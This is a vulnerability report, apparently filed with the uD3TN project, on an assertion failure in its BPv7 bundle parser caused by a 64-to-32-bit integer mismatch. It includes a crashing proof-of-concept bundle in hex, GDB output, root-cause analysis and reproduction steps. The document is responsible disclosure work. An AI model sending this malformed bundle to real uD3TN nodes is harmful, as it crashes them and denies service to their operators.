Assertion Failure due to possible integer overflow in uD3TN BPv7 due to Malformed Extension Block

Title: Assertion Failure due to possible integer overflow in uD3TN BPv7 due to Malformed Extension Block

Introduction

A BPv7 bundle with a malformed extension block can trigger an assertion failure that causes the service to terminate unexpectedly. This could be used by an attacker for launching a denial of service (DoS) attack.

Bug in Detail

The issue was found while fuzzing the BPv7 implementation of uD3DTN using the data-decoder provided in the uD3TN repository.

The following BPv7 bundle triggers the issue:

9f8e0700018201742f2f6f70732d7361742e64746e2f636f6e666967820178382f2f756433656e2d686f7473706f74000000642f32a26138636665342d303965362d349a31662d623539372d653433666561663831333266820100821b000000a5733810d0011a05265c23427786821b1b1b1b1b1b1b1b1b1b1b1b1b

Here is the same bundle with some formatting:

00000000  9f 8e 07 00 01 82 01 74  2f 2f 6f 70 73 2d 73 61  |.......t//ops-sa|
00000010  74 2e 64 74 6e 2f 63 6f  6e 66 69 67 82 01 78 38  |t.dtn/config..x8|
00000020  2f 2f 75 64 33 65 6e 2d  68 6f 74 73 70 6f 74 00  |//ud3en-hotspot.|
00000030  00 00 64 2f 32 a2 61 38  63 66 65 34 2d 30 39 65  |..d/2.a8cfe4-09e|
00000040  36 2d 34 9a 31 66 2d 62  35 39 37 2d 65 34 33 66  |6-4.1f-b597-e43f|
00000050  65 61 66 38 31 33 32 66  82 01 00 82 1b 00 00 00  |eaf8132f........|
00000060  a5 73 38 10 d0 01 1a 05  26 5c 23 42 77 86 82 1b  |.s8.....&\#Bw...|
00000070  1b 1b 1b 1b 1b 1b 1b 1b  1b 1b 1b 1b              |............|

This bundle generates an assertion failure at line 428 in parser.c in the block_type function:

ASSERT((*state->current_block_entry)->data->type == type);

This then results in the process terminating through a SIGABRT.

This is the GDB output for the crash site

Starting program: /ud3tn/build/posix/ud3tndecode -7 assert_fail_bundle.bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, block_type (state=0x7fffffffda80, it=0x7fffffffd630) at components/bundle7/parser.c:428
428     ASSERT((*state->current_block_entry)->data->type == type);

(gdb) print (*state->current_block_entry)->data->type
$2 = 454761243

(gdb) info locals
type = 1953184666628070171
__PRETTY_FUNCTION__ = "block_type"

(gdb) continue
Continuing.

ud3tndecode: components/bundle7/parser.c:428: block_type: Assertion `(*state->current_block_entry)->data->type == type' failed.

Program received signal SIGABRT, Aborted.
__pthread_kill_implementation (no_tid=0, signo=6, threadid=140737352374080) at ./nptl/pthread_kill.c:44

The 'type' variable in the right-hand side of the assertion is an uint64_t with value 1953184666628070171 which comes from the sequence of 0x1b1b1b1b1b1b1b1b in the above bundle. The left hand value in the assertion is of type enum bundle_block_type which according to bundle_block definition in bundle.h should be 32-bit and has value 454761243. It happens that 1953184666628070171 mod 2^32 is 454761243. Thus, most likely it is an integer overflow where the (invalid) long type did not fit in 32-bit causing the assertion violation when compared with the 64-bit version of the same value.

Impact

An attacker could potentially use the above bundle to cause the uD3TN node to crash, leading to a denial of service.

Reproduction Steps

Use the provided example payload to create a binary file.
Run the uD3TN BPv7 decoder with the provided payload. It should trigger the assertion failue.

Additional Comments

We attempted to verify if the payload could also cause a similar assertion failure in an actual node running uD3TN. For this, we set up the 'Simple two-instance message-passing' demo from the quick start guide. However, the use of the MTCP convergence layer and AAP made injecting custom data challenging, so we did not confirm this behavior outside of the data-decoder executable.

Please feel free to reach out for further details or if additional examples are required.